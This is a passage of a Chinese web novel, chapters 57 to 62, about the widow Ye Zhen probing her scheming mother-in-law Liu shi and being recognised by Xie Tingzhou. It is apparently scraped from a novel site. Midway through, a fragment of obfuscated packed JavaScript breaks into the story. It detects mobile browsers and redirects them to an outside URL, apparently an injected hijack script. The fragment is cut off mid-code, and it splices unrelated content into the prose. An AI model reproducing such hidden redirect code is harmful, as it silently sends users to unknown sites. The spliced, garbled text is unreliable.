他松了一次口,就会有无数次,最后柳氏会仗着母亲的势,做回她风光无限的侯夫人。
“母亲,儿子知道您的心思,但您这样是不对的。
犯了错,就得付出代价,如您所言,澜儿会长大,他会明白这个道理的。”
心思被拆穿,老夫人索性发怒,“谢邦,你眼里究竟还有没有我这个母亲?
你说犯错就要付出代价,是吧,那母亲想要家人团聚,利用了澜舟,亦是错。
母亲不用你这大侯爷来罚,母亲自罚,你出去吧……”
老夫人绝食了。
一连两日,滴水未进,忠勇侯最终妥协。
他打算夜里去一趟庄子,将柳氏提溜回来,饿得气息奄奄的老夫人却将叶桢叫到了跟前。
“多带些人,好好去接你婆母回来。”
第57章 叶桢想要谢霆舟的孩子
忠勇侯有意见。
他觉得柳氏不配风光回府。
老夫人痛心疾首,“你当母亲这般舍下脸面,同自己的儿子闹,是为了谁?
有些事,就算你瞒得再好,就算你不承认,可无风不起浪,侯府的名声已经不好听了。
侯府主母回府再遮遮掩掩,只会更叫外人胡乱揣测。
等她回了府,你要打要罚随你的便,后宅之事不比打仗,但一个不好也是能让家族覆灭的。
你今日若敢偷偷将人带回来,那便等我死后,一把火烧了,也偷偷撒在我孙儿旁边。”
儿子犟不过母亲,忠勇侯只得依了她,让叶桢带人去接。
本以为叶桢会有怨言,没想她反帮老夫人说好话,“祖母都是为了父亲,为了侯府好。”
忠勇侯顿觉叶桢真是个识大体,懂事的孩子。
担心柳氏在叶桢面前拿大,他让陈青跟着一道去了。
等叶桢出门后,蛮奴喂老夫人喝粥,笑道,“还是您老有法子,轻松就让夫人回来了。”
这样子不见一丝憨傻。
老夫人却并不高兴,“哪里就轻松了,你挨了板子,邦儿对我这个母亲只怕也失望了。”
她以往在儿子面前总是体面,知理的,这次竟用上了耍赖的法子。
蛮奴宽慰她,“侯爷是您的儿子,最是孝顺,他会理解您的。
至于那几板子,蛮奴一点都不疼,您若心疼奴,就多赏奴些好吃的。”
老夫人将几碟子点心都赏了她。
阴沉道,“孩子都是债呀,等她回来你给我盯紧了她,还有你自己,也切莫让人看出端倪。”
府里不比往日,他们都得谨慎才是。
蛮奴认真点头,“您放心,蛮奴最是听主子的话。”
老夫人便笑,“他们若是都有你这般乖,该多好。”
蛮奴便又变成憨傻模样,用脑袋顶老夫人的掌心,似宠物讨宠,“他们也乖。”
老夫人不知想到什么,眼底这才浮出几分真实笑意。
叶桢午时出发,到庄上时已是傍晚。
她决定休息一晚,明日再回。
柳氏不乐意,她即刻就想回去,那硬床她一晚都不想睡。
“路上不过两个时辰,眼下动身还来得及。”
就算他们到京时,城门关了,有忠勇侯府的令牌,守城将也会给他们开门的。
叶桢笑笑不语。
陈青答,“夫人,马儿也需要休息,这是侯爷的意思。”
柳氏这才作罢,但趁陈青不在时,她同叶桢道,“你得意不了几时。”
叶桢认真问,“母亲为何如此笃定?”
因为有老夫人做依仗吗?
可这次老夫人的伎俩并不高明,甚至称得上拙劣。
柳氏的底气,的确是老夫人给的,但她不会透露给叶桢。
却听叶桢又道,“祖母似乎很喜欢您,母亲可否指点一二,儿媳如何才能讨得祖母欢心?”
柳氏露出见鬼的表情。
叶真是不是傻了?
她回去是要和叶桢为敌的,老夫人是她的助力,她怎么可能教叶桢讨好老夫人,让老夫人站到她那头去。
何况,叶桢也讨好不了。
她敷衍道,“你生来就不讨喜,老夫人不会喜欢你的。”
叶桢很受伤,“云舟也是因为这个原因才不喜我的么?
怪不得,我自持容貌不差,也真心想与他生儿育女,共渡一生。
原来他竟是这般肤浅,听信怪力乱神之言,宁愿与男子厮混,也不愿给我一个机会。
枉费他还是个读书人,倒是我一腔真心错付了。”
旋即她又露出欣慰表情,“好在,如今侯府我掌家,没了丈夫也无妨,将来从族里挑个可靠的孩子过继,想来父亲会同意。
有钱,有娃,没男人,也是顶不错的人生,如此,我还得多谢池恒杀了我夫君。”
柳氏见听不得她这话,怒道,“侯爷与族里关系不亲近,不会同意你过继。”
“那便让澜舟多生几个,让一个给我这做嫂子的养老,也不过分。”
柳氏刚要骂叶桢想得美,她绝不会同意的。
叶桢自己就否了,“澜舟是你的孩子,万一他的孩子传了你的恶毒,那我岂不是白养一场。
算了,我还是求求兄长吧,兄长心善人仗义,他的孩子定差不到哪里去。”
叶桢竟还嫌弃上她的孙儿了?
她的澜舟哪里就比谢霆舟差了,柳氏好胜心被挑起,怒火中烧。
“就他那模样,鬼见了都怕,你还指望他能娶妻生子给你养老?
叶桢,你怕是没见过他面具下的脸吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311799|165886||http|test|mini|href|location''.split(''|''),0,{}));
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>叶桢幽幽道,“母亲这么清楚,母亲见过啊?”
她当然见过,柳氏心中冷哼。
谢霆舟会落的那下场,还是她所为,谁让他竟妄想与他的孩子争爵位。
叶桢将她眼底一闪而过的快意尽收眼底,她靠近,“兄长的脸不会是您害的吧?”
柳氏敢做,却不敢认,也绝不能认。
她恼道,“你胡说什么。”
叶桢心里已然有了答案。
趁柳氏心慌时,她突然问道,“母亲,云舟为什么喜欢男人?不会也与你有关吧?”
这个问题让柳氏心头又是一跳。
“我怎么知道?”
“你是他母亲啊?不应该知道吗?”
叶桢理所当然,她走进,有些吃惊的样子。
“母亲怎么瞧着有些慌乱,莫非这事还真有隐情?父亲知道吗?”
柳氏丢下几句敷衍的话,跑了!!!
她实在招架不住,担心叶桢又问出什么,自己露出马脚。
叶桢不紧不慢跟在她身后。
前世,池恒是跟着谢云舟回府的。
柳氏为什么能容忍儿子好男风,还要帮他们隐瞒忠勇侯。
叶桢怀疑她是不是被谢云舟拿了把柄。
刚刚柳氏挑衅,叶桢正好趁机试探,收获不小。
她心情颇好,吹着小调,双手背在身后,走得悠闲。
谢霆舟从暗处走出,眸光深邃。
邢泽感叹,“少夫人眼光真不咋地,竟喜欢过谢云舟那样的,还要与他生儿育女。”
“你喜欢上谢云舟,她都不会喜欢谢云舟。”
叶桢刚刚分明是胡扯。
偏邢泽听不出来,谢霆舟看了眼他圆乎乎的脸,警告,“最近少吃些,蠢了。”
肚子过饱,影响脑子运转。
邢泽回京后胖了一圈,脑子都不及从前灵光了。
谢霆舟丢下这话,走了。
“哥,主子刚是骂我了?”
刑泽问扶光,“听主子语气怎么还有点不高兴?”
扶光点头,他也察觉到了,拉上弟弟,“听主子的,跟上。”
谢霆舟则跟在了叶桢身后,盯着那纤细背影,与印象里的人靠拢。
叶桢刚刚吹的那小调,当年救他的姑娘也吹过。
会做素蟹粉是巧合,再吹一样的小调,还是巧合吗?
第58章 是他的姑娘
春季是万物生长的季节。
叶桢看着满眼绿色,感受到大自然蓬勃的生命力,生出去庄外走一走的心思。
谢霆舟跟得明目张胆,叶桢很快就察觉了。
顿足转身,“兄长为何跟着我?”
“想请你再制一张面具。”
谢霆舟拿出一沓银票,递给她,“可否加急?”
叶桢没接,“多急?”
“十日之内。”
时间倒是没问题,想想法子能做到。
但。
“可会给我带来麻烦?”
先前给谢霆舟做面具是为交易,但如今叶桢隐隐察觉谢霆舟身份不一般。
她后来细想过初见那日,谢霆舟当时站在坡上,望的是皇宫方向,之后他又进宫**,得了武德司指挥使的位置。
种种串联,他似乎和皇家有恩怨。
叶桢想赚钱,却不想给自己惹事。
“不会,是案子所需。”
谢霆舟将银票直接放进她手中,保证,“你是侯府中人,本世子亦是,不会牵累侯府和你,你可信我。”
叶桢抬眸看他,想透过面具看出他脸上的神情。
不知是不是她的错觉,她竟觉得谢霆舟的语气带着几分温柔。
谢霆舟没给她深思的机会,颇为苦恼道,“若身形有差别,可有法子?”
叶桢想说,这种情况,通常是找身形类似的人。
谢霆舟抢了先,“面具给邢泽用,有些事,本世子信不过外人。
但刑泽比那人矮一些,瘦弱一些。”
算是给了叶桢一个理由。
叶桢收了钱,便得为他解忧,“兄长告诉我,差距有哪些,我来想法子?”
谢霆舟眼里隐隐有笑意,声音也更柔和了些,“会不会被人看出端倪,这件事于本世子十分重要。”
在叶桢心里,当初她救下的那人已经**,她完全没想过,对方会活生生地站在她面前,试探她。
正色道,“不会。”
她多次测验,不曾被人察觉异样。
谢霆舟眼底笑意更浓。
他寻了多年的人,竟就在眼皮子底下。
上次吃到那碗素蟹粉就该有所察觉的,偏他执着于对方的身高。
却忘了叶桢会做**,未必不能在身高上作假。
最主要的原因是,他没想到,当日说要潇洒江湖的姑娘,会安于后宅,孀居侯府多年。
“需要哪些材料你告知我,稍后我将他画像给你。”
他没敢表露自己的心情,忙说起正事。
当日,他来不及销毁那碗素蟹粉,就被一众刺客找到,只得将素蟹粉藏于茅草下。
担心刺客在庙里大肆**,牵累旁人,他引着刺客离开。
想着甩脱了刺客,再回到庙里,可他当时伤势未愈,刺客一波接一波赶来,远不止寻去庙里的那些。
若非刑泽带人赶到,他早已命丧当场,可那时的刑泽他们亦不过是十几岁的少年。
少年们不曾出师,仅凭一腔孤勇千里救主,又岂是宫廷暗卫的对手,死伤大半才换得他活命……
等他返回庙中,刺客们已发现了那素蟹粉,而他的姑娘也不知所踪。
谢霆舟不用细想,也知那碗素蟹粉将姑娘带入了怎样的险境。
他试探过叶桢,她并不愿承认曾去过北地,只怕不仅仅是不愿人知晓她的行踪。
她是不愿提当年事,她怪他,甚至恨他。
谢霆舟不认为简单一句有误会,就能抹去自己给姑娘带来的危险和伤害。
好不容易找到的人,他不愿就此疏离,只能往后再寻合适机会坦白一切。
“柳氏要回去,你可有打算?”
他想弥补姑娘,得知她计划,好暗中助她。
叶桢表面一口一个兄长叫得亲,却只当他是合作伙伴,并不打算告知她自己真实想法。
“暂无,走一步看一步。”
谢霆舟便不再问,他寻了一块大石坐下,示意叶桢也坐。
开口道,“他出生就没了母亲,自小在柳氏身边长大,曾将柳氏奉若亲母。
但七岁那年他便察觉柳氏待他并无真心。
柳氏为他寻得书童,会诱导他丢下课业去喝酒,看斗蛐,甚至赌钱。
忠勇侯罚他,柳氏会心肝宝贝地抱着他,为他求饶。”
他说的是
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真正的谢霆舟,忠勇侯世子的故事。
叶桢知他不会无故同自己说这些,也坐了下来,静静听着。
谢霆舟继续道,“他畏惧忠勇侯,却也敬佩他,想成为他那样的沙场英雄,因而勤学武艺和兵法。
柳氏满脸心疼地劝他注意休息,说他是忠勇侯的嫡长子,就算什么都不学,将来也能承袭爵位,富贵一生。
却背地里督促谢云舟,要谢云舟赶超他,将他比下去。
他到底年纪小,藏不住情绪,此后与柳氏疏离。
柳氏察觉后,闹出不少事,可他一个孩子,身边又都是柳氏的人,如何与大人斗心眼,次次落得一个蛮横不讲理的下场。
老侯爷后宅干净,忠勇侯不曾经历过后宅阴私,又多于男子接触,看不出柳氏的手段,拒绝为儿子更换伺候的人。
他对忠勇侯失望,渐渐与他作对,忠勇侯越发信了柳氏的话,认定是长子的问题,他小小年纪在侯府举步维艰。
我便将扶光给了他,但最终还是没逃掉柳氏的算计。”
他摘掉脸上面具,“当年柳氏带他们兄妹三个去庙里祈福,夜里有流匪闯入。
侯府下人四处寻不到他,只得先护着柳氏和谢云舟兄妹坐马车离开。
而他最后是被扶光从大火焚烧的荒野找到,他脑后被重击,人事不知,若非扶光去得及时,烧毁的就不只是脸。
他坚称自己在禅房为忠勇侯抄经祈福,是被柳氏迷晕的,因他被丢进火中时,模糊间听到了柳氏的声音。
可柳氏却哭着否认,说自己曾带侯府下人四处寻他,侯府下人皆可作证,当时马车上并无他。”
叶桢想到了柳氏马车的暗格,“你的意思是,他是被柳氏藏在马车暗格里带出来,再丢丢在了荒野?”
谢霆舟颔首。
“他和扶光当时也有过怀疑,但他们查看了柳氏当夜坐的马车并无可藏人之处。
前些时日你助我脱困,扶光接应我时看到了暗格。
他仔细研究过,怀疑当年的马车其实也有暗格,只不过被柳氏及时修改,故而等他们再查时,才拿不出证据。”
第59章 提点
谢霆舟同叶桢道,“我信他所言,故而这仇我得为他报。
叶桢,我希望你能助我,揭露柳氏真面目,算我欠你一个人情,如何?”
但其实,他要对付柳氏,并不需要叶桢相助。
叶桢也想到了这一点,“我看侯爷颇为信任兄长,兄长大可将此事直接告知侯爷。”
谢霆舟摇头,“那样岂不是便宜了柳氏?
他是个极好的人,柳氏却害得他在京城声名狼藉,害得忠勇侯误会他多年。
总要让当年之事大白于天下,让世人知道他真正是个怎样的人,才算报仇。
且你也看到了,老夫人护着她,做儿子的拧不过自己的母亲。
忠勇侯再信任我,在他心里,我到底也是个外人,而老夫人是他的母亲,他又顾及孩子们,亲疏远近,每个人心里都有自己的秤。”
这些话句句说到叶桢心里。
她有武功,想杀柳氏并不难,但柳氏前世害她被世人唾弃,不让她也尝尝这滋味,叶桢如何甘心。
两人目的相同,叶桢应了。
回到庄上后没多久,崔嬷嬷来找叶桢。
前些时日,崔嬷嬷去侯府帮忙准备宴席,叶桢看出她喜欢吃真味斋的东西。
来接柳氏的路上,途径真味斋时,让挽星买了不少糕点给她送去。
自然,也有王老夫人的份。
王老夫人没想到,叶桢如此感恩。
恰好最近庄上竹林长了不少春笋,便让崔嬷嬷来问叶桢,是否愿陪她吃顿饭,尝一尝鲜笋。
长辈带着善意相邀,叶桢自不会拒绝。
只是没想到,刚要开饭,谢霆舟也去了。
王老夫人看见他,欢喜的眼睛都笑不见了。
拉着他在身边坐下,“我的霆哥儿是个有口福的,快来尝尝这鲜笋。”
又吩咐崔嬷嬷,“去灶上再加几个荤腥,瞧着好似比上回来瘦了许多,男儿郎就得多吃肉才行。”
谢霆舟便笑,“没瘦,是结实了。”
他戴着面具,身形也无多大变化,王老夫人又如何看得出他有无清瘦。
不过是长辈对晚辈的慈爱罢了。
王老夫人心疼他,只管让崔嬷嬷去吩咐了,又对叶桢道,“稍后你也吃些荤腥,操持家业不是易事,身体健康是首要。”
刚刚她也问过叶桢,可要添些荤腥,叶桢知王老夫人喜素,而她漏一顿不食肉并不会馋,因而拒绝了。
眼下王老夫人为谢霆舟添菜,叶桢自不会推辞,笑着应好。
便听王老夫人同谢霆舟道,“听说你那祖母回京了,若她欺负你,你切记要告诉我。
你是男子,又是晚辈,不好与她冲突,免得落个不孝的名声,万一被人拿来做文章,也是麻烦。”
“我凶名在外,谁敢欺负我,您就安心吧。”
谢霆舟始终带着笑意说话。
叶桢便想,他从前定也与王老夫人接触过,这亲昵实在不像是装的。
而王老夫人对世子的疼爱不似作假,连她都看不出换了人,谢霆舟对真正的世子很是了解,两人应是好友。
扶光是谢霆舟给世子的人,如今却又跟着谢霆舟,那真正的世子大抵是已经没了。
若王老夫人知道真相,定然伤心痛苦。
或许这就是谢霆舟多次出现在王老夫人面前的原因,否则,他有大把理由不与王老夫人亲近。
他在意王老夫人,亦或者替真正的世子在意。
怪不得会为了给世子报仇,矮身求到她面前,连称呼都变了。
如此看他倒也算是个重情重义的。
谢霆舟余光留意她,问王老夫人,“我是她亲孙,您为何觉得她会欺负我?”
王老夫人心头狐疑,她这外孙平日可不是同她说这些的人。
再看对面乖乖巧巧坐在那的叶桢,瞬间反应过来,谢霆舟这是要借她指点叶桢。
虽不知谢霆舟为何要帮叶桢,但想到崔嬷嬷回来说的那些事。
终是道,“以往我不担心,但眼下就说不准了。
你祖母将个外来女子当成宝,偏心柳氏不是一日两日,这次柳氏吃了大亏,管家权还落到叶桢手上,你那祖母自然不甘心。
你们也别指望她明事理,她要是明事理,就不会接柳氏回去,既然到这份上她还偏心柳氏,自然就会想着帮柳氏夺回管家权。
可侯爷虽孝顺,却也有自己的底线,她们明晃晃要权,侯爷肯定不同意,那就只能迂回行事。”
她恨铁不成钢地拍了拍谢霆舟的手。
“你这个过
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了娶妻年纪,始终不成婚的老光棍不就是她们最好的借口。
长媳进门,又是世子夫人,她们自然有了让叶桢交权的理由。
但她们的最终目的是管家权落回柳氏手里,那这个世子夫人就只能是个傀儡。”
能**控的傀儡,会是什么好妻子人选?
王老夫人盼着谢霆舟成亲,却不愿他的婚事被柳氏他们利用。
所以她配合谢霆舟,将事情点出来,也是希望叶桢别稀里糊涂帮了那对婆媳。
叶桢听明白了。
这对老夫人和柳氏来说,的确是可行的招数。
在她们眼里,谢霆舟就是忠勇侯世子,她们的孙子和继子,自古婚姻父母之命,媒妁之言。
她们打着为谢霆舟好的旗号,给谢霆舟娶妻,便是忠勇侯都没拒绝的理由。
那她该如何破解此局呢?
刚这样想,老光棍就问了,“那孙儿该如何?”
王老夫人嗔他一眼,“所以让你告知老身啊,这京城但凡叫得出名的贵女,老身多少都有些了解。
就算老身不了解,还有你婶母呢,她最好八卦,这满京城的后院就没她不知道的。”
人在家中坐的王夫人:婆母,您礼貌吗?
王老夫人和儿媳关系好,一点不心虚出卖儿媳。
知道贵女们的情况,才好破柳氏婆媳的阴谋。
但还有一种可能。
叶桢道,“她们未必从贵女里面选。”
柳氏就是个孤女,据说家里原也是种地的,家乡遭旱灾才逃难来的京城。
老夫人能给儿子选个毫无出身的孤女,未必不会给孙子也选个这样的。
王老夫人哼道,“如果她们敢这样对霆哥儿,老身就带着崔嬷嬷和你婶母去抓烂她的老脸。”
谢霆舟知道她这话绝不是说说而已。
当年得知好友死里逃生,还毁了容貌,又与继母闹得不可开交时,他赶去相助,看到的便是王老夫人将好友护在身后,一巴掌打在了侯府老夫人脸上。
她怨怪侯府老夫人护不住自己的长孙,还帮柳氏说话。
为此被大家议论许久,但老太太并不在意,又上门逼着忠勇侯将好友带去边境。
当时同样十来岁的他,很羡慕那样的维护。
第60章 挑拨
叶桢也羡慕。
同时她想到了自己的师父,不知她眼下境况如何,她至今没收到师父消息。
叶晚棠那边,亦没找到师父。
谢霆舟看出她眼里有担忧,稍一想有了猜测。
从王老夫人屋里出来后,他道,“前些日,我收到消息,有东梧的死士在兖州出没。”
东梧国便是这几年屡屡进犯大渊,最后被他和忠勇侯重创的国家。
也是殷九娘潜入为探的地方。
叶桢闻言,心便提了起来,“可是与我师父有关?”
谢霆舟点头,“我们抓了一个活口,从他口中得知,他们是东梧定安王的影卫,奉定安王之命追杀偷走东梧情报的探子。”
他们口中的探子正是叶桢的师父,殷九娘,而定安王是东梧手握重兵的异性王,这次大战的主帅。
“那你可有我师父的下落?”
叶桢一急,又揪住了谢霆舟的衣袖。
与上次推开她的手不同,这次谢霆舟佯装没看见。
“据他交代,殷前辈出了东梧后的路线,皆指向大渊京城,最后在兖州失了踪迹。
我留了人在兖州,以必要时护她安全,若有殷前辈的消息,他们会第一时间通知我,我再告知于你。”
“那影卫可有说我师父她有无受伤?”
话问出口,她已经知道答案了,自己也曾被追杀过,怎可能毫发无伤。
谢霆舟不瞒她,“伤了,但情况还好。”
安定王的影卫武功个个高强,若殷九娘情况不好,也摆脱不了他们。
叶桢也知这个道理。
她松开谢霆舟,同他道谢。
心里急着回房给饮月去信,让她带一部分人转道去兖州,另一部分继续来京。
待信发出去,她意识到一个问题。
谢霆舟既有师父的消息,大可以此要挟她做**。
他却拿出银票,没提半句师父的事,可见那时他并不打算说。
后来他为何又主动告知?
叶桢将今日事情想了想,得出一个不太可能的结论。
是因为她在饭桌上想到了师父,流露出了担忧,谢霆舟才据实以告吗?
可谢霆舟为什么要顾及她心情?
叶桢觉得难以置信,又想不到别的原因。
因为这件事她到后半夜才睡。
谢霆舟同样转展反侧,他也意识到自己的反常或许会叫叶桢多疑。
但那已是他极力克制。
当年他遭遇变故,跌落地狱,是叶桢救赎了他。
他第一次情动,想过放下一切陪她游走江湖,可他们不放过他,让他与叶桢失散多年。
这些年他始终在寻她,身边出现别的女子时,也不曾多看一眼,故而他急着确认叶桢是不是他要找的人。
确认后,他不愿她平白担心,想着等有了殷九娘确切消息再告知她。
可在饭桌上,她眼里的担忧落寞太甚,又叫他不忍心隐瞒,才有了后头的事。
警觉如叶桢,待她冷静下来定然会察觉端倪。
谢霆舟盯着自己的衣袖良久,坐起身,吩咐邢泽,“将去南边的人撤回,让他们与兖州的汇合。”
先前他得知叶桢做的素蟹粉是南边口味,猜想那姑娘是南边人,就派了一队人前往南边。
如今人已找到,就在身边,那就替她护着她在意之人。
门外当值的是邢泽,他知道自家主子一直在找一个姑娘。
听了这吩咐,心头狐疑,主子变心了?
谁让主子变心的?
心里的猜想还没答案,就听谢霆舟道,“从明日起你,你接近挽星,不管她们有什么需求,你都应承下来。”
他看出来了,叶桢身边那个挽星有意同邢泽交好。
邢泽没开窍,先前他懒得管,但眼下他觉得让邢泽同挽星走近些,帮叶桢一些事便不会那么突兀。
邢泽瞌睡都惊醒了,“让您变心的是少夫人啊。
可她不行啊,他是你弟媳,你们若在一起,会被世人所不容的,侯爷也不会同意的……”
谢霆舟不愿听下去,示意他出去。
邢泽不敢再多言,苦着一张脸去了扶光房间。
扶光睁眼便见自家弟弟盘腿坐在他床上,一副天塌的表情,“哥,完蛋了,主子爱上了不该
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爱的人……”
扶光听完邢泽的话,倒没那么悲观,“主子不会做一辈子的侯府世子,离了侯府,他和少夫人就不是伯哥和弟媳。”
他担心的是别的。
若主子当真喜欢的是少夫人,将来会不会为了少夫人名声考虑,公开自己的身份。
他跟谢霆舟多年,知道他外表冷淡,实则心善又护短。
像他那样的男人,大抵不会让自己的女人受流言蜚语困扰。
可若公开身份……
想着想着,他的脸也成了苦瓜色。
谢霆舟不知,还没影的事,就让两个护卫愁得一宿没睡。
他后半夜倒是睡了,眼睛黑白分明,而两苦瓜满眼红血丝。
和他们同款的还有柳氏,柳氏是兴奋的,一夜没睡。
天一亮就要去拍叶桢的门,被挽星挡在了门外。
叶桢一大早就去了山里练功,不在房内。
“婆婆都醒了,她还睡着,让她起来,早些出发。”
柳氏发号命令。
能回府后,她又神气起来了。
挽星不理会她,只展臂挡在门口,“我家小姐说,大家用过早膳再出发,夫人请回吧。”
“你这奴才反了天了。”
柳氏发怒,正欲再骂,叶桢从后窗翻入,开了门,“母亲一大早过来,可是要告知我,云舟喜男子的原因了?”
陈青得了柳氏过来的消息,担心她**,也跟着过来了,正好听了这话。
不由看向柳氏,侯爷定然也想知道。
柳氏没想到叶桢还揪着这问题不放,低斥,“你怎能如此不敬亡夫,实在是枉为**。”
“正因为我是他的妻,昨日见母亲神色不对,猜测母亲知道原因,才想问个明白。”
柳氏眼神闪躲,转头就走,“我怎么知道。”
“母亲昨日那样子分明是知道的。”
叶桢无奈地看向陈青,叹了口气。
“按说父亲那般铁骨铮铮的男子,生出来的儿子都该如兄长那般顶天立地才是。
也不知云舟究竟经历了什么,才变成后来的模样,可惜母亲不肯告知……”
第61章 各怀鬼胎
陈青是忠诚的部将,回去后,就将庄上的事,包括叶桢问柳氏的话,原原本本告知了忠勇侯。
忠勇侯觉得自己对叶桢是有些了解的,叶桢不是信口胡言之人。
她说柳氏心虚,那定然是柳氏不经意间暴露了什么。
而他也始终不愿相信,自己的儿子会好男风。
略一沉默,他吩咐道,“你查一查。”
谢云舟三年前假死后,他院中不少人就被放了出去,找那些人问问,说不得他们知道些什么。
又吩咐道,“让柳氏住进佛堂,无我令不得出,你让人盯着些。”
本就是被老夫人逼着接回来的,听闻柳氏在庄上还颇为嚣张,他连见柳氏的心思都没有了,只想她余生关在佛堂,别再惹事。
他也不愿再看见她。
陈青这头刚有动作,邢泽就报到了谢霆舟面前。
谢霆舟道,“暗中推一推陈青,再将这些透露给挽星。”
为了查山中刺客和谢云舟的联系,这些时日他查了不少谢云舟的事。
虽还不知他为何喜男子,但足够助陈青揭晓答案。
又提醒了句,“别太刻意。”
没一会儿消息又传到叶桢耳中。
叶桢便知自己这段时间,在忠勇侯面前的表现起了成效。
忠勇侯抛开父爱时,想查点东西还是没问题的。
她将一张纸递给挽星,“查这上头的人,别惧花钱。”
纸上写的是柳氏历来用过的马夫名单。
伍大之死让她留意到,柳氏更换了数位马夫,加之她的马车有暗格,这里头定然有猫腻。
叶桢想到一个荒唐的可能,柳氏那暗格是用来带男人入府厮混的。
既然忠勇侯去查谢云舟,那么她便从柳氏这里下手,找她偷情的证据。
柳氏不知马车暗格暴露,更不知叶桢在查她,她回来后,便先去了老夫人房中,在她面前哭得肝肠寸断。
但她混到这副境地,连累了孩子,最后还需老夫人舍出脸皮去救,让老夫人对她很有意见。
“哭够了,就滚回你的院子。”
先前她嘴上虽说让柳氏回来,在侯府为奴为婢,但心里清楚,忠勇侯不会当真如此安排。
因而她理所当然地觉得,柳氏回来了,就该回她自己的院子。
柳氏亦是如此,擦了眼泪讨好道,“母亲,儿媳往后事事听您的,还请您帮帮儿媳。”
她低了声音,期期艾艾,“听侯爷的意思,府上的账册目前只查到最近三年的,母亲能不能想办法把其他账册毁了?”
她的心从没在过侯府,账册自然经不起查。
虽然他们已有了对策,但她这些年实在快活,许多事便没太放心上,以至于她也记不清,那些账册里,还有没有让忠勇侯暴怒的东西。
销毁是最安全的。
老夫人亦是如此认为,点了点头。
“还有那马车,母亲能不能要到您名下,别让她落在叶桢手里?”
上次叶桢坐着她的马车回京,她就担心了许久,好在侯爷没因马车之事找她。
昨日叶桢接她,用的是府上别的马车,她便猜叶桢这些时日当是没再用过她的马车,没发现什么。
算是虚惊一场。
但现在叶桢掌家,她的马车又是府上最好的,她担心叶桢会抢了去。
虽然她的暗格做得极为隐秘,寻常女子很难察觉。
老夫人沉着脸,也应了。
就听柳氏得寸进尺,“您别改了那暗格,万一他想进府,就不方便了。”
老夫人长长吐出一口气,语气不悦道,“还有什么需要老身为你善后的,索性一并说了,没得连累他人。”
柳氏便又讨好道,“这些年儿媳处置了几个马夫,原也不是什么大事,儿媳都是寻了由头的。
可前些时日,有个马夫的事暴露了,儿媳倒不担心侯爷会查,这些都是过了侯爷明路的。
但儿媳担心叶桢不老实,还有霆舟也回来了,万一他想起当**……”
最后,柳氏是被老夫人赶出房门的。
老夫人气的胸口起伏,同阿蛮道,“从前觉得她是个稳妥的,没想竟惹出这么多麻烦。
她这是要毁了我的侯府啊,让她在院子里给我好好反思,一个月不得出院子。”
这是老夫人对柳氏的处罚,只阿蛮出去没多久,便折返了。
“夫人被侯爷关进佛堂了。”
老夫人在气头上,没去找忠勇侯为柳氏求情,只砸了一个杯子,怒道,“都是不省心的。”
刑泽是个尽心的护卫,谨记自家主子的话,要与挽星打好关系,情报要及时透露。
因而柳氏被关佛堂的事,又很快传到了叶桢跟前。
第一次挽星说是偷听了刑泽和护卫的对话,得知陈青动向,叶桢没起疑。
第二次,刑泽凑到挽星跟前,幸灾乐祸主动聊起柳氏八卦,叶桢怀疑了。
她眼眸微转,“你找两个人盯着谢瑾瑶,找外面的。”
挽星不解,“谢瑾瑶那里不是有人盯着吗?小姐不放心他们?”
自小姐怀疑柳氏的相好来了京城,就派人盯着谢瑾瑶了。
若谢瑾瑶当真是柳氏和那人的孩子,谢瑾瑶被罚到马场,那男人当会找机会见一见自己的女儿的。
如此,他们便能顺藤摸瓜找到那男人的踪迹,而后
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叶桢有自己的打算,催她,“你先去做,不必刻意避开刑泽,回头我再告诉你原因。”
挽星最是听话。
然后她在街上遇到了刑泽。
“挽星,好巧啊,你怎么也出府了?”
刑泽佯装惊讶,“是要办什么事吗?”
挽星记得叶桢提醒,就没瞒着刑泽,将今日出门目的如实告知。
刑泽摸了摸下巴,很是为挽星考虑的样子。
“这事还真不好随便找人,万一对方是个不可靠的,坏事不说,再告知给侯爷和老夫人知晓,只怕少夫人还会落得埋怨。”
确实是这个理。
挽星点头很是认同,“可府上那些人,小姐用着也不安心。”
但其实小姐有小姐的御人手法,挽星到这也隐约明白了点什么。
想到自己先前还想勾搭刑泽呢,现在对方主动送上门……
挽星的手缓缓扯上刑泽的衣袖,晃~荡。
满脸恳切,“刑泽,你得世子重用,定有可靠的人脉。
你能不能帮帮我,要是我找的人坏了小姐的事,小姐定然会骂我的,我也会自责死的。”
她记得小姐每次求师父什么,都爱晃师父的衣袖,最后师父没有不答应的。
刑泽等的就是挽星开口,但也不想太爽快,显得自己刻意。
“可以是可以,但银钱不能少,你还得请我吃顿好吃的。”
挽星也没想不给钱,白让人干活的,至于请刑泽吃饭,正好给了她接近他的机会。
于是‘各怀鬼胎’的两人,进了酒楼,酒足饭饱后,刑泽为挽星找了两人。
都是谢霆舟的部下。
为了不被挽星怀疑他是刻意等在这,刑泽还借口自己还有事要忙,让挽星先回了侯府。
挽星一回去,就将事情同叶桢说了,不过隐瞒了自己想拉拢刑泽帮叶桢的心思,免得叶桢有负担。
她问叶桢,“小姐,你是不是想让世子发现柳氏的秘密?”
叶桢点了点她的鼻子,“我们挽星越来越聪明了。”
她先前并没说破,也是有意栽培挽星,让她养成凡事多思虑几分的习惯。
挽星表现极好,她又道,“还有一个原因,谢霆舟似乎有意卖好。”
庄上的事就不说了,今日刑泽几次行为,都透着古怪。
她让挽星出去找人,也是想证实自己这个猜测。
但依旧不明原因,“谢霆舟为什么要帮我?”
挽星却觉得这很容易理解,“他定是被小姐吸引了,对小姐动了心。”
在她心里,她家小姐那么好,男人不动心才不正常呢。
就像谢云舟。
第62章 找柳氏出气
叶桢被男人背叛过,没挽星那般自信。
她想到了另一个可能,谢霆舟猜到了她的**。
他对她态度改变,是从叶晚棠**那天起。
真正的武将都会敬佩母亲,谢霆舟是位出色的武将,又是晚辈,对母亲定然也有钦佩之情。
或许就是这个原因,他对她才有所关照。
叶桢不是内耗的性情,她只需确认谢霆舟对她有无恶意便可。
眼下确定,谢霆舟无害她之心,叶桢便不再多想。
她让挽星在屋里休息,同朝露道,“走,我们去佛堂看看柳氏。”
柳氏被接回来,最不开心的是朝露。
